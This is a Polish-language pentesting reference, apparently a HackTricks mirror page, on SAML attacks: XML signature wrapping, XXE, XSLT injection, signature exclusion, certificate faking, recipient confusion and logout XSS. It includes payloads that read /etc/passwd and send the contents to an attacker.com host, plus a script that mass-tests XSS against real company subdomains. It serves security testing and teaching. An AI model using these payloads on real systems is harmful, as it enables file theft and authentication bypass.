Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 13:43:24 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/saml-attacks
History
Translator 637796f4e0 Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2
2024-05-05 22:39:36 +00:00
..
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:39:36 +00:00
saml-basics.md Translated to Polish 2024-02-11 01:46:25 +00:00

README.md

Ataki SAML

Ataki SAML

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Narzędzie

SAMLExtractor: Narzędzie, które może przyjąć adres URL lub listę adresów URL i zwraca adres URL do konsumpcji SAML.

Obieg XML

W XML część podpisana XML jest zapisywana w pamięci, następnie wykonywane jest kodowanie/dekodowanie, a podpis jest sprawdzany. Idealnie to kodowanie/dekodowanie nie powinno zmieniać danych, ale w oparciu o ten scenariusz, sprawdzane dane i oryginalne dane mogą nie być takie same.

Na przykład, sprawdź poniższy kod:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Uruchomienie programu przeciwko REXML 3.2.4 lub wcześniejszej wersji spowoduje zamiast tego następujący wynik:

First child in original doc: Y
First child after round-trip: Z

Oto, jak REXML widział oryginalny dokument XML z programu powyżej:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

A oto, jak widział go po rundzie analizy i serializacji:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Aby uzyskać więcej informacji na temat podatności i jak ją wykorzystać:

Ataki podpisów XML Signature Wrapping

W atakach podpisów XML Signature Wrapping (XSW) przeciwnicy wykorzystują podatność wynikającą z przetwarzania dokumentów XML w dwóch różnych fazach: walidacji podpisu i wywołania funkcji. Ataki te polegają na zmianie struktury dokumentu XML. Konkretnie, atakujący wstrzykuje sfałszowane elementy, które nie kompromitują ważności podpisu XML. Manipulacja ta ma na celu stworzenie rozbieżności między elementami analizowanymi przez logikę aplikacji a tymi sprawdzanymi przez moduł weryfikacji podpisu. W rezultacie, podczas gdy podpis XML pozostaje technicznie ważny i przechodzi weryfikację, logika aplikacji przetwarza fałszywe elementy. W rezultacie atakujący skutecznie omija ochronę integralności i uwierzytelnianie pochodzenia podpisu XML, umożliwiając wstrzyknięcie arbitralnej zawartości bez wykrycia.

Poniższe ataki opierają się na tym wpisie na blogu i tej publikacji. Więc sprawdź je dla dalszych szczegółów.

XSW #1

  • Strategia: Dodanie nowego elementu głównego zawierającego podpis.
  • Konsekwencje: Walidator może się pogubić między prawidłowym "Odpowiedź -> Twierdzenie -> Podmiot" a "złym nowym Odpowiedź -> Twierdzenie -> Podmiot" atakującego, prowadząc do problemów z integralnością danych.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Różnica w porównaniu do XSW #1: Wykorzystuje odłączony podpis zamiast otaczającego podpisu.
  • Konsekwencje: "Zła" struktura, podobnie jak w XSW #1, ma na celu wprowadzenie w błąd logikę biznesową po sprawdzeniu integralności.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategia: Tworzony jest zły Element Twierdzenia na tym samym poziomie hierarchicznym co oryginalne twierdzenie.
  • Konsekwencje: Ma na celu wprowadzenie w błąd logikę biznesową, aby używała złośliwych danych.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Różnica w porównaniu do XSW #3: Oryginalne Twierdzenie staje się dzieckiem zduplikowanego (złego) Twierdzenia.
  • Konsekwencje: Podobnie jak w XSW #3, ale bardziej agresywnie zmienia strukturę XML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unikalny aspekt: Ani Podpis, ani oryginalne Twierdzenie nie przestrzegają standardowych konfiguracji (otaczający/otaczający/odłączony).
  • Konsekwencje: Skopiowane Twierdzenie otacza Podpis, modyfikując oczekiwaną strukturę dokumentu.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategia: Podobne umieszczenie jak w XSW #4 i #5, ale z twistem.
  • Konsekwencje: Skopiowane Twierdzenie otacza Podpis, który następnie otacza oryginalne Twierdzenie, tworząc zagnieżdżoną fałszywą strukturę.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategia: Element Rozszerzenia jest wstawiany z zduplikowanym Twierdzeniem jako dzieckiem.
  • Konsekwencje: Wykorzystuje mniej restrykcyjny schemat elementu Rozszerzenia do obejścia środków zaradczych walidacji schematu, zwłaszcza w bibliotekach takich jak OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Różnica w porównaniu do XSW #7: Wykorzystuje inny mniej restrykcyjny element XML dla wariantu ataku.
  • Konsekwencje: Oryginalne Twierdzenie staje się dzieckiem mniej restrykcyjnego elementu, odwracając strukturę używaną w XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Narzędzie

Możesz użyć rozszerzenia Burp SAML Raider, aby przeanalizować żądanie, zastosować wybrany atak XSW i go uruchomić.

XXE

Jeśli nie wiesz, jakie są ataki XXE, przeczytaj następującą stronę:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

Odpowiedzi SAML są skompresowanymi i zakodowanymi w base64 dokumentami XML i mogą być podatne na ataki zewnętrznych jednostek XML (XXE). Poprzez manipulowanie strukturą XML odpowiedzi SAML, atakujący mogą próbować wykorzystać podatności XXE. Oto, jak taki atak może być zobrazowany:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Narzędzia

Możesz również użyć rozszerzenia Burp SAML Raider do generowania POC z żądania SAML w celu przetestowania możliwych podatności na XXE oraz podatności SAML.

Sprawdź także to wystąpienie: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT poprzez SAML

Aby uzyskać więcej informacji na temat XSLT, przejdź do:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Rozszerzalny Język Transformacji Arkuszy Stylów (XSLT) może być używany do przekształcania dokumentów XML na różne formaty, takie jak HTML, JSON lub PDF. Ważne jest zauważenie, że transformacje XSLT są wykonywane przed weryfikacją cyfrowego podpisu. Oznacza to, że atak może być udany nawet bez ważnego podpisu; podpis własny lub nieważny jest wystarczający do kontynuacji.

Tutaj znajdziesz POC do sprawdzenia tego rodzaju podatności, na stronie hacktricks wspomnianej na początku tej sekcji znajdziesz przykładowe dane.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Narzędzie

Możesz również użyć rozszerzenia Burp SAML Raider do generowania POC z żądania SAML w celu przetestowania potencjalnych podatności XSLT.

Sprawdź także ten wykład: https://www.youtube.com/watch?v=WHn-6xHL7mI

Wykluczenie Podpisu XML

Wykluczenie Podpisu XML obserwuje zachowanie implementacji SAML, gdy element Podpisu nie jest obecny. Jeśli ten element jest brakujący, weryfikacja podpisu może nie nastąpić, co czyni go podatnym. Można to przetestować poprzez zmianę zawartości, która zazwyczaj jest weryfikowana przez podpis.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Narzędzie

Możesz również użyć rozszerzenia Burp SAML Raider. Przechwyć odpowiedź SAML i kliknij Remove Signatures. W ten sposób wszystkie elementy Podpisu są usuwane.

Po usunięciu podpisów, pozwól żądaniu przejść do celu. Jeśli Podpis nie jest wymagany przez Usługodawcę

Fałszowanie Certyfikatu

Fałszowanie Certyfikatu to technika testowania, czy Usługodawca (SP) właściwie weryfikuje, czy Wiadomość SAML jest podpisana przez zaufanego IdP (Identity Provider). Polega na użyciu *certyfikatu podpisanego przez siebie do podpisania Odpowiedzi SAML lub Twierdzenia, co pomaga w ocenie procesu walidacji zaufania między SP a IdP.

Jak Przeprowadzić Fałszowanie Certyfikatu

Poniższe kroki opisują proces za pomocą rozszerzenia Burp SAML Raider:

  1. Przechwyć odpowiedź SAML.
  2. Jeśli odpowiedź zawiera podpis, wyślij certyfikat do SAML Raider Certs, używając przycisku Send Certificate to SAML Raider Certs.
  3. W karcie Certyfikatów SAML Raider, wybierz zaimportowany certyfikat i kliknij Save and Self-Sign, aby utworzyć samopodpisaną kopię oryginalnego certyfikatu.
  4. Wróć do przechwyconego żądania w Proxy Burp. Wybierz nowy certyfikat podpisany przez siebie z rozwijanego menu Podpisu XML.
  5. Usuń istniejące podpisy za pomocą przycisku Remove Signatures.
  6. Podpisz wiadomość lub twierdzenie nowym certyfikatem, używając przycisku (Re-)Sign Message lub (Re-)Sign Assertion, w zależności od sytuacji.
  7. Przekaż podpisaną wiadomość. Pomyślna autentykacja wskazuje, że SP akceptuje wiadomości podpisane przez twój certyfikat podpisany przez siebie, ujawniając potencjalne podatności w procesie walidacji wiadomości SAML.

Dezorientacja Odbiorcy Tokena / Dezorientacja Celu Usługodawcy

Dezorientacja Odbiorcy Tokena i Dezorientacja Celu Usługodawcy polegają na sprawdzeniu, czy Usługodawca poprawnie weryfikuje zamierzonego odbiorcę odpowiedzi. W istocie Usługodawca powinien odrzucić odpowiedź uwierzytelniającą, jeśli była przeznaczona dla innego dostawcy. Istotnym elementem jest tutaj pole Odbiorca, znajdujące się w elemencie SubjectConfirmationData odpowiedzi SAML. To pole określa adres URL wskazujący, gdzie Twierdzenie musi zostać wysłane. Jeśli rzeczywisty odbiorca nie zgadza się z zamierzonym Usługodawcą, Twierdzenie powinno zostać uznane za nieważne.

Jak to działa

Aby atak Dezorientacji Odbiorcy Tokena SAML (SAML-TRC) był możliwy, muszą być spełnione pewne warunki. Po pierwsze, musi istnieć ważne konto na Usługodawcy (nazywanym SP-Legit). Po drugie, docelowy Usługodawca (SP-Target) musi akceptować tokeny od tego samego IdP, który obsługuje SP-Legit.

Proces ataku jest prosty w tych warunkach. Autentyczna sesja jest inicjowana z SP-Legit za pośrednictwem wspólnego IdP. Odpowiedź SAML od IdP do SP-Legit jest przechwytywana. Ta przechwycona odpowiedź SAML, pierwotnie przeznaczona dla SP-Legit, jest następnie przekierowywana do SP-Target. Sukces w tym ataku jest mierzony przez akceptację Twierdzenia przez SP-Target, co umożliwia dostęp do zasobów pod tą samą nazwą konta używaną dla SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS w funkcjonalności wylogowywania

Oryginalne badania można znaleźć pod tym linkiem.

Podczas procesu brutalnego przeglądania katalogów, odkryto stronę wylogowywania pod adresem:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Po uzyskaniu dostępu do tego linku nastąpiło przekierowanie na:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

To ujawniło, że parametr base akceptuje adres URL. Biorąc to pod uwagę, pojawił się pomysł zastąpienia adresu URL wartością javascript:alert(123); w celu próby wywołania ataku XSS (Cross-Site Scripting).

Masowa Eksploatacja

Z tego badania:

Do analizy subdomen uberinternal.com pod kątem domen korzystających z tej samej biblioteki zostało użyte narzędzie SAMLExtractor. Następnie został opracowany skrypt, który miał na celu atakowanie strony oidauth/prompt. Skrypt ten testuje podatność na XSS (Cross-Site Scripting), wprowadzając dane i sprawdzając, czy są one odzwierciedlane w wyniku. W przypadkach, gdy dane są rzeczywiście odzwierciedlane, skrypt oznacza stronę jako podatną.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: